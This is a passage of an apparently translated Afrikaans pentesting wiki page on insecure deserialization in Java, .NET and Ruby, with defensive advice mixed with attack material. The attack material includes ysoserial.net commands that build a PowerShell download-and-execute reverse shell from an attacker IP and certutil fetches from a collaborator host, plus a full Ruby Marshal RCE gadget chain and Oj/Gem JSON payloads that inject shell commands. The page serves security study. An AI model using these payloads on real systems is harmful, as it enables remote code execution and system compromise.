[**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om payloads te genereer om verskillende **Json** en **Yml** serialisering biblioteke in Java te exploiteer.\
|
||
Om die projek te compileer, moes ek hierdie **afhangklikhede** by `pom.xml` voeg:
|
||
```html
|
||
<dependency>
|
||
<groupId>javax.activation</groupId>
|
||
<artifactId>activation</artifactId>
|
||
<version>1.1.1</version>
|
||
</dependency>
|
||
|
||
<dependency>
|
||
<groupId>com.sun.jndi</groupId>
|
||
<artifactId>rmiregistry</artifactId>
|
||
<version>1.2.1</version>
|
||
<type>pom</type>
|
||
</dependency>
|
||
```
|
||
**Installeer maven**, en **kompileer** die projek:
|
||
```bash
|
||
sudo apt-get install maven
|
||
mvn clean package -DskipTests
|
||
```
|
||
#### FastJSON
|
||
|
||
Lees meer oor hierdie Java JSON biblioteek: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||
|
||
### Labs
|
||
|
||
- As jy sommige ysoserial payloads wil toets, kan jy **hierdie webapp** uitvoer: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||
|
||
### Waarom
|
||
|
||
Java gebruik baie serialisering vir verskeie doeleindes soos:
|
||
|
||
- **HTTP versoeke**: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
|
||
- **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afstandkommunikasie in Java-toepassings.
|
||
- **RMI oor HTTP**: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasies benut.
|
||
- **JMX (Java Management Extensions)**: JMX gebruik serialisering om objekte oor die netwerk te stuur.
|
||
- **Pasgemaakte Protokolle**: In Java is die standaardpraktyk die oordrag van rou Java-objekte, wat in komende eksploitvoorbeelde demonstreer sal word.
|
||
|
||
### Voorkoming
|
||
|
||
#### Transient objek
|
||
|
||
'n Klas wat `Serializable` implementeer, kan enige objek binne die klas wat nie serialiseerbaar moet wees nie, as `transient` implementeer. Byvoorbeeld:
|
||
```java
|
||
public class myAccount implements Serializable
|
||
{
|
||
private transient double profit; // declared transient
|
||
private transient double margin; // declared transient
|
||
```
|
||
#### Vermyde Serialisering van 'n klas wat `Serializable` moet implementeer
|
||
|
||
In scenario's waar sekere **objekte die `Serializable`**-koppelvlak moet implementeer weens klas hiërargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, verseker dat hierdie objekte nie-deserialiseerbaar is deur 'n `final` `readObject()`-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:
|
||
```java
|
||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||
throw new java.io.IOException("Cannot be deserialized");
|
||
}
|
||
```
|
||
#### **Verbetering van Deserialisering Sekuriteit in Java**
|
||
|
||
**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialisering prosesse te beveilig. Hierdie metode is geskik wanneer:
|
||
|
||
- Die deserialisering kode is onder jou beheer.
|
||
- Die klasse wat vir deserialisering verwag word, is bekend.
|
||
|
||
Oorheers die **`resolveClass()`** metode om deserialisering tot slegs toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat eksplisiet toegelaat is, soos in die volgende voorbeeld wat deserialisering tot die `Bicycle` klas beperk:
|
||
```java
|
||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||
|
||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||
super(inputStream);
|
||
}
|
||
|
||
/**
|
||
* Only deserialize instances of our expected Bicycle class
|
||
*/
|
||
@Override
|
||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||
if (!desc.getName().equals(Bicycle.class.getName())) {
|
||
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
||
}
|
||
return super.resolveClass(desc);
|
||
}
|
||
}
|
||
```
|
||
**Gebruik van 'n Java-agent vir sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM-parameter:
|
||
```
|
||
-javaagent:name-of-agent.jar
|
||
```
|
||
Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings waar onmiddellike kodeveranderinge onprakties is.
|
||
|
||
Kyk na 'n voorbeeld in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||
|
||
**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`**-koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekten moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
|
||
|
||
Om serialisering filters te gebruik, kan jy 'n globale filter instel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:
|
||
```java
|
||
ObjectInputFilter filter = info -> {
|
||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
||
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
||
return Status.REJECTED; // Restrict to allowed classes
|
||
}
|
||
return Status.ALLOWED;
|
||
};
|
||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||
```
|
||
**Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit**: Biblioteke soos **NotSoSerial**, **jdeserialize**, en **Kryo** bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde objek voordat deserialisering, en die implementering van pasgemaakte serialiseringstrategieë.
|
||
|
||
- **NotSoSerial** onderskep deserialiseringprosesse om die uitvoering van onbetroubare kode te voorkom.
|
||
- **jdeserialize** stel die analise van geserialiseerde Java-objekte in staat sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.
|
||
- **Kryo** is 'n alternatiewe serialiseringraamwerk wat fokus op spoed en doeltreffendheid, en bied konfigureerbare serialiseringstrategieë wat sekuriteit kan verbeter.
|
||
|
||
### Verwysings
|
||
|
||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||
- Deserialisering en ysoserial praat: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||
- Praat oor gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) en skyfies: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||
- Marshalsec papier: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||
- Java en .Net JSON deserialisering **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
- Deserialiserings CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||
|
||
## JNDI Inspuiting & log4Shell
|
||
|
||
Vind uit wat **JNDI Inspuiting is, hoe om dit te misbruik via RMI, CORBA & LDAP en hoe om log4shell te ontgin** (en 'n voorbeeld van hierdie kwesbaarheid) op die volgende bladsy:
|
||
|
||
{{#ref}}
|
||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||
{{#endref}}
|
||
|
||
## JMS - Java Boodskapdiens
|
||
|
||
> Die **Java Boodskapdiens** (**JMS**) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent–verbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapsproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat die kommunikasie tussen verskillende komponente van 'n verspreide toepassing toe om losweg gekoppel, betroubaar en asynchrone te wees. (Van [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||
|
||
### Produkte
|
||
|
||
Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
### Ontginning
|
||
|
||
So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg regte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objek te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word**.\
|
||
Dit beteken dat in hierdie ontginning al die **kliënte wat daardie boodskap gaan gebruik, besmet sal raak**.
|
||
|
||
Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilig gebruikersinvoer deserialiseer) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin.
|
||
|
||
Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objek te stuur wat bekende gadgets gebruik**. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is.
|
||
|
||
### Verwysings
|
||
|
||
- JMET praat: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||
- Skyfies: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||
|
||
## .Net
|
||
|
||
In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode te laat loop tydens die deserialisering van 'n objek.
|
||
|
||
### Vingerafdruk
|
||
|
||
#### WhiteBox
|
||
|
||
Die bronkode moet ondersoek word vir voorkomste van:
|
||
|
||
1. `TypeNameHandling`
|
||
2. `JavaScriptTypeResolver`
|
||
|
||
Die fokus moet wees op serialiseerders wat toelaat dat die tipe deur 'n veranderlike onder gebruikersbeheer bepaal word.
|
||
|
||
#### BlackBox
|
||
|
||
Die soektog moet teiken op die Base64-gecodeerde string **AAEAAAD/////** of enige soortgelyke patroon wat op die bediener-kant gedeserialiseer kan word, wat beheer oor die tipe wat gedeserialiseer moet word, toelaat. Dit kan insluit, maar is nie beperk tot nie, **JSON** of **XML** strukture wat `TypeObject` of `$type` bevat.
|
||
|
||
### ysoserial.net
|
||
|
||
In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repositori afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld.
|
||
|
||
As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||
|
||
Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.**
|
||
|
||
- **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
|
||
- **`--formatter`**, word gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
|
||
- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** geënkodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie)._
|
||
- **`--plugin`** ysoserial.net ondersteun plugins om **ontginnings vir spesifieke raamwerke** soos ViewState te maak.
|
||
|
||
#### Meer ysoserial.net parameters
|
||
|
||
- `--minify` sal 'n **kleiner payload** bied (indien moontlik)
|
||
- `--raf -f Json.Net -c "anything"` Dit sal al die gadgets aandui wat met 'n gegewe formatter (`Json.Net` in hierdie geval) gebruik kan word
|
||
- `--sf xml` jy kan **'n gadget** (`-g`) aandui en ysoserial.net sal soek na formatters wat "xml" bevat (hoofdlettergevoelig)
|
||
|
||
**ysoserial voorbeelde** om ontginnings te skep:
|
||
```bash
|
||
#Send ping
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||
|
||
#Timing
|
||
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
||
|
||
#DNS/HTTP request
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
||
|
||
#Reverse shell
|
||
#Create shell command in linux
|
||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
||
#Create exploit using the created B64 shellcode
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||
```
|
||
**ysoserial.net** het ook 'n **baie interessante parameter** wat help om beter te verstaan hoe elke exploit werk: `--test`\
|
||
As jy hierdie parameter aandui, sal **ysoserial.net** die **exploit plaaslik probeer,** sodat jy kan toets of jou payload korrek sal werk.\
|
||
Hierdie parameter is nuttig omdat jy, as jy die kode hersien, stukke kode soos die volgende een (van [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)) sal vind:
|
||
```java
|
||
if (inputArgs.Test)
|
||
{
|
||
try
|
||
{
|
||
SerializersHelper.JsonNet_deserialize(payload);
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
Debugging.ShowErrors(inputArgs, err);
|
||
}
|
||
}
|
||
```
|
||
Dit beteken dat om die eksploit te toets, die kode [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) sal aanroep.
|
||
```java
|
||
public static object JsonNet_deserialize(string str)
|
||
{
|
||
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
return obj;
|
||
}
|
||
```
|
||
In die **vorige kode is kwesbaar vir die ontploffing wat geskep is**. So as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is.\
|
||
Daarom laat die **`--test`** parameter ons toe om te verstaan **watter stukke kode kwesbaar is** vir die deserialisasie-ontploffing wat **ysoserial.net** kan skep.
|
||
|
||
### ViewState
|
||
|
||
Kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState parameter van .Net te ontplof**](exploiting-__viewstate-parameter.md) om **arbitraire kode uit te voer.** As jy **reeds die geheime** wat deur die slagoffer masjien gebruik word, ken, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||
|
||
### Preventie
|
||
|
||
Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:
|
||
|
||
- **Vermy om datastrome toe te laat om hul objektipe te definieer.** Gebruik `DataContractSerializer` of `XmlSerializer` wanneer moontlik.
|
||
- **Vir `JSON.Net`, stel `TypeNameHandling` op `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||
- **Vermy om `JavaScriptSerializer` met 'n `JavaScriptTypeResolver` te gebruik.**
|
||
- **Beperk die tipes wat gedeserialiseer kan word**, en verstaan die inherente risiko's met .Net tipes, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diens aanvalle kan lei.
|
||
- **Wees versigtig met tipes wat riskante eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value` eienskap, wat uitgebuit kan word.
|
||
- **Beheer tipe-instansiasie veilig** om te voorkom dat aanvallers die deserialisasie-proses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar maak.
|
||
- **Implementeer witlysbeheer** met 'n pasgemaakte `SerializationBinder` vir `BinaryFormatter` en `JSON.Net`.
|
||
- **Bly ingelig oor bekende onveilige deserialisasie-gadgets** binne .Net en verseker dat deserializers nie sulke tipes instansieer nie.
|
||
- **Isolateer potensieel riskante kode** van kode met internettoegang om te voorkom dat bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, aan onbetroubare databronne blootgestel word.
|
||
|
||
### **Verwysings**
|
||
|
||
- Java en .Net JSON deserialisasie **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||
|
||
## **Ruby**
|
||
|
||
In Ruby word serialisering gefasiliteer deur twee metodes binne die **marshal** biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek na 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Aan die ander kant word die tweede metode, **load**, gebruik om 'n byte-stroom terug na 'n objek te herstel, 'n proses bekend as deserialisering.
|
||
|
||
Vir die beveiliging van geserialiseerde objek, **gebruik Ruby HMAC (Hash-Based Message Authentication Code)**, wat die integriteit en egtheid van die data verseker. Die sleutel wat vir hierdie doel gebruik word, word in een van verskeie moontlike plekke gestoor:
|
||
|
||
- `config/environment.rb`
|
||
- `config/initializers/secret_token.rb`
|
||
- `config/secrets.yml`
|
||
- `/proc/self/environ`
|
||
|
||
**Ruby 2.X generiese deserialisering na RCE gadget ketting (meer in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||
```ruby
|
||
#!/usr/bin/env ruby
|
||
|
||
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
||
|
||
class Gem::StubSpecification
|
||
def initialize; end
|
||
end
|
||
|
||
|
||
stub_specification = Gem::StubSpecification.new
|
||
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
||
|
||
puts "STEP n"
|
||
stub_specification.name rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Source::SpecificFile
|
||
def initialize; end
|
||
end
|
||
|
||
specific_file = Gem::Source::SpecificFile.new
|
||
specific_file.instance_variable_set(:@spec, stub_specification)
|
||
|
||
other_specific_file = Gem::Source::SpecificFile.new
|
||
|
||
puts "STEP n-1"
|
||
specific_file <=> other_specific_file rescue nil
|
||
puts
|
||
|
||
|
||
$dependency_list= Gem::DependencyList.new
|
||
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
||
|
||
puts "STEP n-2"
|
||
$dependency_list.each{} rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Requirement
|
||
def marshal_dump
|
||
[$dependency_list]
|
||
end
|
||
end
|
||
|
||
payload = Marshal.dump(Gem::Requirement.new)
|
||
|
||
puts "STEP n-3"
|
||
Marshal.load(payload) rescue nil
|
||
puts
|
||
|
||
|
||
puts "VALIDATION (in fresh ruby process):"
|
||
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
||
pipe.print payload
|
||
pipe.close_write
|
||
puts pipe.gets
|
||
puts
|
||
end
|
||
|
||
puts "Payload (hex):"
|
||
puts payload.unpack('H*')[0]
|
||
puts
|
||
|
||
|
||
require "base64"
|
||
puts "Payload (Base64 encoded):"
|
||
puts Base64.encode64(payload)
|
||
```
|
||
Ander RCE-ketting om Ruby On Rails te benut: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||
|
||
### Ruby .send() metode
|
||
|
||
Soos verduidelik in [**hierdie kwesbaarheidsverslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as 'n gebruiker ongesuiwerde invoer by die `.send()` metode van 'n ruby objek kom, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep.
|
||
|
||
Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter sal toelaat om arbitrêre kode uit te voer:
|
||
```ruby
|
||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||
```
|
||
Boonop, as slegs een parameter van **`.send()`** deur 'n aanvaller beheer word, soos in die vorige skrywe genoem, is dit moontlik om enige metode van die objek aan te roep wat **nie argumente benodig nie** of waarvan die argumente **standaardwaardes** het.\
|
||
Vir hierdie doel is dit moontlik om al die metodes van die objek te enumereer om **'n paar interessante metodes te vind wat aan daardie vereistes voldoen**.
|
||
```ruby
|
||
<Object>.send('<user_input>')
|
||
|
||
# This code is taken from the original blog post
|
||
# <Object> in this case is Repository
|
||
## Find methods with those requirements
|
||
repo = Repository.find(1) # get first repo
|
||
repo_methods = [ # get names of all methods accessible by Repository object
|
||
repo.public_methods(),
|
||
repo.private_methods(),
|
||
repo.protected_methods(),
|
||
].flatten()
|
||
|
||
repo_methods.length() # Initial number of methods => 5542
|
||
|
||
## Filter by the arguments requirements
|
||
candidate_methods = repo_methods.select() do |method_name|
|
||
[0, -1].include?(repo.method(method_name).arity())
|
||
end
|
||
candidate_methods.length() # Final number of methods=> 3595
|
||
```
|
||
### Ruby klas besoedeling
|
||
|
||
Kyk hoe dit moontlik kan wees om 'n [Ruby klas te besoedel en dit hier te misbruik](ruby-class-pollution.md).
|
||
|
||
### Ruby _json besoedeling
|
||
|
||
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang plaasvind.
|
||
|
||
Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.md).
|
||
|
||
### Ander biblioteke
|
||
|
||
Hierdie tegniek is geneem [ **uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||
|
||
Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om basies RCE te verkry):
|
||
|
||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteek</strong></td><td><strong>Invoerdata</strong></td><td><strong>Kick-off metode binne klas</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binêr</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||
|
||
Basiese voorbeeld:
|
||
```ruby
|
||
# Existing Ruby class inside the code of the app
|
||
class SimpleClass
|
||
def initialize(cmd)
|
||
@cmd = cmd
|
||
end
|
||
|
||
def hash
|
||
system(@cmd)
|
||
end
|
||
end
|
||
|
||
# Exploit
|
||
require 'oj'
|
||
simple = SimpleClass.new("open -a calculator") # command for macOS
|
||
json_payload = Oj.dump(simple)
|
||
puts json_payload
|
||
|
||
# Sink vulnerable inside the code accepting user input as json_payload
|
||
Oj.load(json_payload)
|
||
```
|
||
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spesifikasie sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n groot detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied.
|
||
```json
|
||
{
|
||
"^o": "URI::HTTP",
|
||
"scheme": "s3",
|
||
"host": "example.org/anyurl?",
|
||
"port": "anyport",
|
||
"path": "/",
|
||
"user": "anyuser",
|
||
"password": "anypw"
|
||
}
|
||
```
|
||
Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep word, wat 'n vereiste is om 'n ander gadget te misbruik om dit in 'n volledige RCE te transformeer met iets soos:
|
||
```json
|
||
{
|
||
"^o": "Gem::Resolver::SpecSpecification",
|
||
"spec": {
|
||
"^o": "Gem::Resolver::GitSpecification",
|
||
"source": {
|
||
"^o": "Gem::Source::Git",
|
||
"git": "zip",
|
||
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
|
||
"root_dir": "/tmp",
|
||
"repository": "anyrepo",
|
||
"name": "anyname"
|
||
},
|
||
"spec": {
|
||
"^o": "Gem::Resolver::Specification",
|
||
"name": "name",
|
||
"dependencies": []
|
||
}
|
||
}
|
||
}
|
||
```
|
||
